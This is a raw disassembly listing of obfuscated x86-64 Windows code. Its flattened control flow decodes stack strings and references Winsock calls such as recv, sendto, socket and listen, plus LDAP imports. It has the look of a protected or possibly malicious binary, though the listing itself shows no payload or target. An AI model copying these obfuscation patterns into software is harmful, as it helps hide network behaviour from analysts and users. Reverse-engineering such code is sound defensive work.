movabs rdx, 0xc5e0001050ce12ec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x74
add r10b, dl
jmp 0x14009f28f
movabs rdx, 0x98a9f7ab53ad5190
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009e6a2
movabs rcx, 0x6b73ef46568c9034
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
jmp 0x14009f18d
movabs rdx, 0x3e3de6e1596bced8
mov ecx, recv
jmp 0x14009f150
movabs rcx, 0x1107de7c5c4b0d7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x64
dec rdi
inc rdi
jmp 0x14009e6a2
movabs rdx, 0xe3d1d6175f2a4c20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009e6a2
movabs rdx, 0xb69bcdb262098ac4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x5c
jmp 0x14009f211
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14009ed72
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
jmp 0x14009ebcc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009edb8
movabs rdx, 0xb56eb048c3afdc8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x9a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009e6a2
inc rax
cmp r8, rax
jne 0x14009edec
movabs rdx, 0xfdac112bdf15f44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009f28f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ee21
movabs rdx, 0x6a46d1dcb832e1fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009f18d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009ee51
movabs rcx, 0x977cda41b553a358
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
jmp 0x14009f164
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009ee8c
movabs rdx, 0xc4b2e2a6b27464b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x14009e6a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ebd8
movabs rcx, 0xf1e8eb0baf952610
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x14009e6a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009eefa
movabs rdx, 0x1026086d2587cad2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009f214
inc rax
cmp r8, rax
jne 0x14009ef34
movabs rdx, 0x6a9219371fc94d8a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x14009e6a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ef69
movabs rdx, 0xc4fe2a011a0ad042
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009f18d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ef9e
movabs rdx, 0x1f6a3acb144c52fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009f28f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009eb78
movabs rdx, 0x4ca04330116d1456
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x5a
jmp 0x14009f2ea
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009f015
movabs rdx, 0x6add6091875fb918
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x9a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009e6a2
inc rax
cmp r8, rax
jne 0x14009f049
movabs rdx, 0xc549715b81a13bd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009f28f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009f07e
movabs rdx, 0x1fb582257be2be88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009f18d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009eb21
movabs rdx, 0xd48da3b97065c3f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14009f211
mov byte [rbp + rdi + 0x9a8], r10b
inc rdi
jmp 0x14009e6a2
movabs rdx, 0x2ef9b4836aa746b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0x9a8]
jmp 0x14009f15e
movabs rdx, 0x5c2fbce867c8080c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, byte [rbp + rdi + 0x9a8]
sub r10b, 0x54
add r10b, dl
jmp 0x14009f28f
movabs rdx, 0x973192e74dbd37ca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009f28f
movabs rdx, 0xf8f79b8565af3b6
mov ecx, 3
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rcx, 0xc594b8b5e937a75e
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, gethostname
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, bl
mov byte [rbp + rdi + 0x9a8], dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009e6a2
movabs rcx, 0xe2597153593a325a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x76
dec rdi
inc rdi
jmp 0x14009e6a2
movabs rdx, 0x87ed60895ef8afa2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x6e
jmp 0x14009f211
movabs rdx, 0x2d814fbf64b72cea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x66
add r10b, dl
movabs rcx, 0x985eb050ec16e602
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0xe
add bl, cl
mov byte [rbp + rdi + 0x9a8], bl
inc r9
dec rdi
inc rdi
jmp 0x14009e6a2
movabs rcx, 0xd3153ef56a75aa32
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x5e
dec rdi
inc rdi
jmp 0x14009e6a2
mov rbx, r11
movabs rcx, 0x1e3d1d6175f2a4c2
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
movabs rdx, 0xf2cac11ae65868ba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x16
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x9a8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14009f2ed
movabs rdx, 0xf10714fc78d1e366
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
movzx ebx, r11b
add r10b, dl
movabs rdx, 0x8965c54d64e8c968
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x9a8], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x9a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009e6a2
movabs rcx, 0xc3d10c977bb1220a
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
movzx eax, byte [rbp + rdi + 0x9a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009e6a2
movabs rdx, 0x3e892e3bc1023a66
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14009e6a0
movabs rcx, 0x115325d6c3e1790a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
jmp 0x14009e690
lea rcx, [rbp + 0x140fe90]
jmp 0x14009f3d5
lea rcx, [rbp + 0x915f3e]
jmp 0x14009f3d5
lea rcx, [rbp + 0x9a8]
call fcn.140036660
mov byte [rbp + 0xea8], 0x61
mov byte [rbp + 0xea9], 0xa4
mov byte [rbp + 0xeaa], WSASetLastError
mov byte [rbp + 0xeab], 0x41
mov byte [rbp + 0xeac], 0xb6
mov byte [rbp + 0xead], 0xa8
mov byte [rbp + 0xeae], 0xa3
mov byte [rbp + 0xeaf], 0xba
mov byte [rbp + 0xeb0], 0xab
mov byte [rbp + 0xeb1], 0x75
mov byte [rbp + 0xeb2], 0x42
mov byte [rbp + 0xeb3], 0xbe
mov byte [rbp + 0xeb4], 0xae
mov byte [rbp + 0xeb5], WSACleanup
mov byte [rbp + 0xeb6], 0x41
mov byte [rbp + 0xeb7], 0xb2
mov byte [rbp + 0xeb8], 0xb3
mov byte [rbp + 0xeb9], 0xae
mov byte [rbp + 0xeba], 0xa8
mov byte [rbp + 0xebb], 0xb7
mov byte [rbp + 0xebc], Ordinal_30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xebd], xmm0
mov qword [rbp + 0xecd], rax
mov dword [rbp + 0xed5], eax
mov word [rbp + 0xed9], ax
movabs rdi, 0x2fd0a1043a42ff72
movabs rsi, 0xe727f9039a049ace
movabs r12, 0xacf18dc33fba0c2a
movabs r14, 0x8d44dd7d1a90827a
movabs r13, 0x3361c1f69b1c6a26
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400a02a8
movzx r10d, byte [rbp + rbx + 0xea8]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a029c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009f533
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x26
jmp 0x14009f553
je 0x1400a020e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a01d2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a01a7
cmp r9, rbx
ja 0x1400a0290
lea rax, [r9 + 9]
cmp r8, rax
jae 0x14009f588
lea rdx, [rbx + rdi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1e
add r11b, dl
jmp 0x14009f5e2
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a014f
inc rax
cmp r8, rax
je 0x1400a011d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a00f2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a009f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a008b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a0052
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a0018
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009fc3f
nop
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009fc1a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009fbe8
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009fbb9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009fb94
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14009fb80
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009fb47
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009fb22
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14009fafa
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009fac0
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009f5f0
mov r8, rcx
lea r9, [rcx + 2]
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400a026b
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400a0242
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x14009f7de
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x14009f7bf
lea rcx, [r9 + 0xa]
cmp r8, rcx
jb 0x14009f79f
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009fa5c
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009f9fd
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009f9a9
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009f975
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009f5f0
mov r8, rcx
lea r9, [rcx + 0x10]
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14009f93b
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14009f912
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x14009f8ed
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x14009f8b8
lea rcx, [r9 + 0x200]
cmp r8, rcx
ja 0x14009f8a4
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009f87f
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14009f854
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009f822
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009f7fc
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009f5f0
mov r8, rcx
lea r9, [rcx + 0x3e8]
jmp 0x14009f5f0
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14009f5e2
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x56
add r11b, dl
jmp 0x14009f553
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0xa
add r11b, dl
jmp 0x14009f4f5
movabs rdx, 0x7e850821d217fb90
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a016f
movabs rdx, 0x24a1ec9b52a3e33c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rcx, 0xcabed114d32fcae8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x58
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x70dbb58e53bbb294
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
jmp 0x1400a00bf
movabs rdx, 0x16f89a07d4479a40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400a01e1
movabs rcx, 0xbd157e8154d381ec
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x633262fad55f6998
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
jmp 0x14009ff9b
movabs rdx, 0x94f477455eb5144
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14009ffd2
movabs rdx, 0xaf6c2bedd67738f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xea8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x4eb4671d97d4fc1e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov byte [rbp + rbx + 0xea8], r11b
inc rbx
jmp 0x14009f4e2
movabs rdx, 0xf4d14b971860e3ca
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 5
jb 0x14009f999
movabs rdx, 0xe83e7bcb6420d8bc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x48]
jmp 0x1400a0172
movabs rdx, 0x9aee301098eccb76
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3a
add r11b, dl
cmp r8, 0x7a
jae 0x14009ff45
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14009fe32
movabs rdx, 0x655f688a6997e574
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
jmp 0x14009f9ca
movabs rdx, 0x410b148a1978b322
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 5
je 0x14009ff72
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14009fd40
movabs rdx, 0x358ec7862f54e602
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xe
jmp 0x14009fa1d
movabs rdx, 0x1ee3c6195d91fcac
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xea8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009f4e2
movabs rdx, 0xc500aa92de1de458
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x14009ffd2
movabs rdx, 0x6b1d8f0c5ea9cc04
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
jmp 0x14009ff9b
movabs rdx, 0x113a7385df35b3b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0xb75757ff5fc19b5c
mov ecx, 0x3e
jmp 0x1400a01e1
movabs rdx, 0x5d743c78e04d8308
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
jmp 0x1400a00bf
movabs rdx, 0x39120f260d96ab4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0xa9ae056be1655260
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x4fcae9e561f13a0c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
jmp 0x1400a016f
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14009fc68
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x26
jmp 0x14009fa7d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009fcab
movabs rcx, 0x5fa142087485fee4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
movzx eax, byte [rbp + rbx + 0xea8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009f4e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009fcdb
movabs rdx, 0x13677915736e2f8c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009ff98
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009fd0d
movabs rcx, 0xc72db02272566034
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6c
jmp 0x1400a01f6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009fa80
movabs rdx, 0x2eba1e3c7026c184
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a016f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009fd72
movabs rdx, 0x8f71e30caec8fe56
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5a
jmp 0x1400a016f
inc rax
cmp r8, rax
jne 0x14009fdb0
movabs rdx, 0xe954fe932e3d16aa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009f4e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009fdec
movabs rdx, 0x43381a19adb12efe
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14009f4e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009fa20
movabs rdx, 0x50e16cad2c0d77fa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009f4e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009fe75
movabs rcx, 0xbf428410e90bfdc8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0xea8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009f4e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009fea7
movabs rdx, 0x7308bb1de7f42e70
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
jmp 0x14009ff9b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009feda
movabs rdx, 0x80b20db16650776c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a00bf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009ff12
movabs rcx, 0xda952937e5c48fc0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
dec rbx
inc rbx
jmp 0x14009f4e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009f9cd
movabs rdx, 0x8e5b6044e4acc068
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a016f
movabs rdx, 0x42219751e394f110
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0xea8]
sub r11b, al
sub r11b, 0x70
add r11b, r10b
jmp 0x1400a00bf
movabs rdx, 0x9c04b2d863090964
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xea8]
add r11b, r10b
add r11b, dl
movabs rdx, 0x48f6409ba2c3158e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xea8], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xf5e7ce5ee27d21b8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 8
add cl, r10b
mov byte [rbp + rbx + 0xea8], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xea8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x58cc98beb557da66
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xea8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x4b23462b36fb916a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0xf1402aa4b7877916
mov ecx, 0x33
jmp 0x1400a01e1
movabs rdx, 0x975d0f1e381360c2
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4e
add r11b, dl
movabs rcx, 0xef132515234efd3a
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, gethostname
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, r10b
mov byte [rbp + rbx + 0xea8], dl
jmp 0x1400a01f6
movabs rcx, 0x3d79f397b89f486e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 2
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0xe396d811392b301a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x89b3bc8ab9b717c6
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6a
add r11b, dl
movabs rcx, 0x9530098ea3dae4e6
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x4a
add r10b, cl
mov byte [rbp + rbx + 0xea8], r10b
inc r9
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rcx, 0x22274e70bbe6b676
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
dec rbx
inc rbx
jmp 0x14009f4e2
movabs rdx, 0x6e611763bcfe85ce
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, r10b
